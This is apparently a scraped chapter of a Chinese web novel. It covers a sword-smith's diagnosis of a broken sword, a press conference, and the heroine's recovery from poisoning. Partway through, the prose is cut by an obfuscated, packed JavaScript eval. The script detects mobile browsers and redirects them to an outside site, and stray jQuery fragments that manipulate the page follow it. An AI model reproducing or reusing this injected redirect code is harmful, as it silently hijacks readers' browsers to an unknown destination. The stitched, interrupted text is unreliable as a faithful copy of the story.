19. 第19章
作品:《银河诗》 “既然你能看明白乱红折断的原因,那你有没有办法让它复原?”任清风问。
“可以是可以,不过不能保证和以前一样好使,毕竟损伤真实存在过,修复就跟打补丁一样,我能用自己的剑意将它的断口暂时合在一起,但这并不代表完好如初了,后续还需要使用者长期注入剑意滋养才行,更何况乱红不是普通的剑,它有很强的灵性。”苏铮鸣的大手张开,悬在乱红的断面上,“我能感应到它非常痛苦。”
“剑也有痛苦吗?”夜十黑色的长指甲虚虚刮过乱红的剑身。
“怎么没有。”苏铮鸣看了她一眼,“你们是数字人不懂很正常。”
“你少给我歧视数字人。”夜十很不爽,提着长长哥特裙摆往后一靠坐在了桌面上,“我只是好奇你为什么觉得它痛苦,剑断了,你说它疼我理解,为什么是痛苦,它又没有自我意识。”
“疼不就是痛苦吗,你被腰斩了你不痛苦?”苏铮鸣说一半愣住了,反应过来数字人没有真正的身体,腰斩不过是一刀穿透虚影,造成不了任何真实伤害,他看着夜十腰间繁复的黑裙子,“那你确实不痛苦。”
“跟你交流真费劲。”夜十的五指在空中一握拳,全息播放的事故片段转瞬消失,“看明白了你就快点治愈乱红,等江野醒了总决赛还要用。”
苏铮鸣双手分别握住乱红的两截,缓缓往中间靠拢,十分纯净的真金剑意覆盖在乱红断面,左右两侧金色的剑意磁铁一般吸引着断处合二为一,像一种强力粘合剂,不断游走在两截乱红之间,试图将其严丝合缝地拼凑在一起。
整个过程耗费了不到二十分钟,却掏空了苏铮鸣体内本就不多的全部剑意,他微微喘气,把看似完好的乱红剑放回桌上,苏铮鸣对着它沉吟了一会儿,还是摇摇头,“恐怕任江野总决赛用不了乱红了。”
“为什么?”任清风不解,“断口有细节无法合拢?”
“没有,我已经全合上了,但是剑意没有办法在乱红体内流动,剑意一遇到断过的地方就停止向前,两边的衔接很不顺畅。”苏铮鸣看向夜十,“你能把视频再打开给我看看吗?”
夜十无语地哼笑一声,对着空气一指,全息的断剑过程又从头开始播放。
“等等,暂停一下。”苏铮鸣卡在断剑前的0.01秒,“就是这里,放大。”
乱红身上金色排线的地方,有一丝肉眼难以捕捉的紫光闪现又消失。
“我一开始以为这道很快消失的光是苏敏慧的共振技能导致的,现在我怀疑,这是乱红体内自带的。”苏铮鸣定定地盯着任清风,“我觉得乱红不是一柄纯粹的风属性剑,它之前是不是双属性剑?”
任清风快速与夜十对视一眼,乱红拥有双属性在她们团队里是公开的秘密。
乱红自从任江野手中打出名气以来,外界所有人都默认它是一柄风属性的剑,而且是最顶尖的风剑。
“它是双属性,可以同时承担风与电两种能量,但是关于它体内电系金属的部分本身就很少,况且这些年它从未被注入过任何电相关的剑意,所以那部分也一直是休眠状态,这跟它断裂有什么关系吗?”任清风偏头看他。
“关系太大了,我之前判断错了,剑不是金属共振技能断掉的,共振只是引子。”苏铮鸣放大乱红剑身那条由金属颗粒排成的线,指着它说,“这条排成列的金线,与外来的子弹协同作用,通过外界共振诱导唤醒乱红体内所有休眠的电属性部分,使它内部在瞬间爆发性集中放电,自己折断了自己。”
“等一下。”任清风打断他,讲出了自己的疑问,“乱红本身是双属性共存,就算有电击,对它来说也不至于折断自己吧。”
苏铮鸣划了一下全息视频,视频又回到了开头,“按理说是这样,现在这个视频不全,我怀疑在这些颗粒排列在乱红表面之前,曾经进入过乱红体内,进去之后,通过快速游走吸收了乱红本身休眠的全部电属性金属,然后携带这些电属性金属堆积在现在的断口处,因为这些电属性金属本身就是乱红自己的,即便挤开了原本排在这里的风属性金属,也不会被使用者察觉是异物,它如果再故意分出几枚胡乱游走,吸引任江野的注意力,那就更难发现这种微小改变。”
“所以苏敏慧把所有休眠的电属性金属统一放置在一条线,此线以外的乱红就会成为真正的纯风剑,和电属性的能量相冲突,导致它从内部放电后折断了自己,是这个意思吗?”任清风总结道。
“差不多。”
“那为什么用不了,现在乱红是彻底的风属性剑,对江野来说不是好事吗,更得心应手了。”
“我也觉得很奇怪,可事实就是剑意无法从断面相互流动,就算我合在一起了,它还是不行。”苏铮鸣有些抱歉,“不过我之后可以做一些实验,研究一下它到底为什么抗拒剑意的流动。”
夜十单手撑着自己的下巴幽幽地说:“现在这个社会连一把剑也有心理问题。”
任清风把乱红拿起来装进了剑鞘中,递给了苏铮鸣,“麻烦你了。”
苏铮鸣从任清风手里双手接过乱红,“真的抱歉,我太自信了。”
“不必自责,当我知道乱红断了的时候,已经第一时间就给家里发过消息。”任清风看了眼时间,“这会儿差不多该到了。”
苏铮鸣跟着任清风来到屋外,出门就看见一个硕大的方块大铁盒从湖边的船上下来,它短腿一跨,上了岸,盒子机器人坚持每一步都要踩在草地的石板砖上,绕了好大一圈走到几人眼前,扫描一番,最终站定在了任清风面前,啪一下拉开自己的柜门,从身体里取出一个密封的长匣子,递给她:“请确认签收。”
任清风打开长匣,里面是一把绿色的长剑,她从头到尾抚摸了一遍,怀念涌上心头,此剑是任清风年轻时比赛使用的宝剑‘逸青’。
“任教练!”蹲在草坪边打了无数个视频电话的郑策激动地站起来,小跑到任清风跟前,“教练,现在舆论完全控不住,不管媒体还是粉丝,所有人都让江野本人出面,我打算紧急开一场新闻发布会,主要由您上场澄清一些负面的假消息,您现在有时间吗?”
任清风收好了给任江野的备用剑逸青,跟着郑策去了会议室。
“任教练,网络上流传的视频是真是假为何一直没有明确的回应?”
“任教练,请问您如何看待恒星体育报刚刚发布的最新访谈?您认同赵开杰的看法吗?”
“任教练,乱红是否真的彻底断裂,天下第一剑的名号是否就此让位?”
“任教练,有网友爆料说任江野遭遇袭击后一直昏迷不醒,请问这件事是真的吗?”
“任教练,任江野会缺席6号的总决赛吗?”
“不会。”任清风看向镜头,眼神十分笃定地说,“不论星网有多少关于江野的谣言,大家都不必相信,6号晚上,她一定会准时准点出现在总决赛的现场。”
8月5号深夜23点17分,此时距离任清风的新闻发布会已经过去了二十七个小时,任江野体内所有的毒素全部消解,她终于从昏迷中苏醒过来,她靠在病床上,看着新闻里任清风坚定地眼神,笑着说:“我妈真信任我,她接受采访那会儿,谁能保证我能醒过来。”
“我能保证。”黎安抽掉插在任江野颈侧的最后一根测毒针。
“谢谢安姐。”任江野环住黎安的腰往回一揽,脸贴在她的肩膀上,“黎医生太厉害了,黎医生是天底下最棒的医生。”
“好了好了,刚醒来别乱动。”黎安挣脱开任江野的拥抱,“还要观察一会儿,饿不饿,我让云中雨给你做点吃的。”
“我不饿,一点也不。”任江野一下子靠回去,“给我来一管常规营养剂就好了,千万别麻烦云中雨。”
黎安笑了笑,离开了医疗室。
医疗室里只剩任江野一个人坐在病床上,她仔细回忆那天打斗的细节,不论是壮汉、年轻的女人还是透明人,都没有真正突破了她的风层防御,不是在战斗时中毒。随后任江野摸了一下胸前的皮肤,她回忆起自己拥抱久玖时,胸口传来短暂的刺痛,应该是这个时候被什么东西扎了一下。
是在这时候中的毒吗?
那个看门机器人抓走久玖后,一直恐吓她,在久玖陷入恐惧情绪的时候,趁她不注意,在她身上放下了毒引。
“老大!你醒了!”久玖从门外跑进来,一下扑倒在任江野的腿上。
任江野扶住久玖的双臂,拉着她左看右看,“你没事吧,有没有受伤或者哪里不舒服,让安姐给你检查一下。”
“我没事。”久玖抖了抖自己新换的干净衣服,“我们刚回来,安姐就让我全身体检,从头到尾消过毒了,她说没什么问题。”
任江野松了一口气,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17076422|192804||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“还好你没事,这个毒很厉害。”
“一开始走的时候都好好的,到底怎么会中毒的。”久玖开始复盘自己没注意到的小地方,“我们最后见到的是仁文慈善协会的人,那个女人看起来很正常,我还和她握手了,再往前见到的是那个一直绑着我的看门机器人,可它一见面就被老大秒了,有机会下毒吗?”
“停停停。”任江野打断久玖的分析,“应该在之前打斗的过程里就中毒了,只是当时没有毒发,我就有点大意了。”
“老大,不是你大意,是那些人太坏了。”久玖一叉腰,满脸严肃地纠正任江野的措辞。
“是啊,有坏人见不得我们十冠王的好。”云中雨拿着一支橙色的营养液走进来,身后还跟着乌泱乌泱一群人。
“哎我的宝贝终于醒了。”任清风和任江野快速拥抱了一下。
“江野,睡太久了吧!”夜十一屁股坐在病床边。
言景昱坐在病床另一边,一把握住任江野的手,十指紧扣着贴在自己脸上磨蹭,“你知道我有多担心吗?”
白鹤个子太高,只能站在很后面关心:“小野,感觉怎么样,有没有不舒服的地方?”
一直等在任江野家中的好朋友们一一送上慰问和祝福,任江野见满屋子人,和医疗室外扶着门框的黎安对视一眼,黎安耸耸肩,用口型告诉她:没办法,拦不住。
这时候祝以燃才拨开人群,幽怨地来一句:“咋就十冠王了,我还在这里。”
任江野抬头看着祝以燃,“听说你救了我。”
祝以燃忍不住翘起下巴,“嗯!”
“谢谢你。”任江野笑着说,“为了报答你的救命之恩,总决赛我一定全力以赴,不留余力地打败你。”
“你休想,别以为我看你状态不佳就会让你,我不会输的。”祝以燃双手握拳说到,“明天没有十冠王任江野,只有一冠王祝以燃!”
“一冠也是王啊?”夜十黑纱裙摆下的双腿一晃一晃。
病床边围着的大家全都一下笑开。
“我……”祝以燃瘪着嘴,他下意识看向任江野告状,“你才醒就又让人欺负我。”
任江野忍不住也笑了,她拍了拍祝以燃的胳膊,“你陪在我这儿很久了,回去备战吧,一冠王。”
祝以燃和其他来看望任江野的朋友陆陆续续回家休息,团队里的人也被任江野赶出去,她看向靠着墙抱着手臂的尘远霜,说:“大家都走了,你怎么还陪着我。”
尘远霜放下环在胸前的双臂,走到一边,提起一把凳子,放在任江野的床边,她低头看着自己的深蓝色的裤子,没有说话。
“在等我的感谢吗?”任江野从床头柜上挑拣了一个新鲜的橙子,闻了闻,很香,又扯了一下尘远霜的袖口,把橙子放在她手心,“师妹救命之恩,师姐无以为报,就请师妹吃个橙子吧。”
尘远霜握着圆润的香橙,觉得它有些许沉重,片刻后她低头注视着橙子说:“师姐,对不起。”
“为什么道歉?”
“我父亲一直跟秦宇有私下交易,我是知道的,但是他做什么不做什么都不会告诉我。直到上次半决赛的时候,秦宇赛前来找我,赛后又来找我,只为了一件事,他想让我给你下毒,他说不致死,但会让你检测出少量兴奋剂,然后强制禁赛,上不了场;
“虽然两次我都没有搭理他,但是当时我应该提醒你的,至少应该告诉你要提防秦宇,可我事后又觉得秦宇来找我也许是我父亲的意思,我不知道该怎么开这个口,我怕说了之后你会误解我,我真的很对不起你,如果我提前说了,或许就不会发生现在这种事了,都是我的错,”
按照尘远霜的个性,很难得一次说这么多话,她一直没敢去看任江野,只敢看手上的橙子,一股脑把想说的全说了。
任江野坐起来,摸着尘远霜低下的头,在她头发上轻揉,“师妹,你没有做错任何事,别给我道歉,这件事不管是尘越还是秦宇干的,都跟你没关系。况且我现在身体里都是你的剑意,你的剑意给了我新生,不要说对不起,要说不客气。”
尘远霜沉默了一会儿,捉住任江野一直在她头上作乱的手,“我的剑意怎么样?”
“很厉害。”任江野假装颤抖了一下,“就是有点凉凉的,应该先让祝以燃加热。”
尘远霜终于不再皱眉,浅浅笑了。

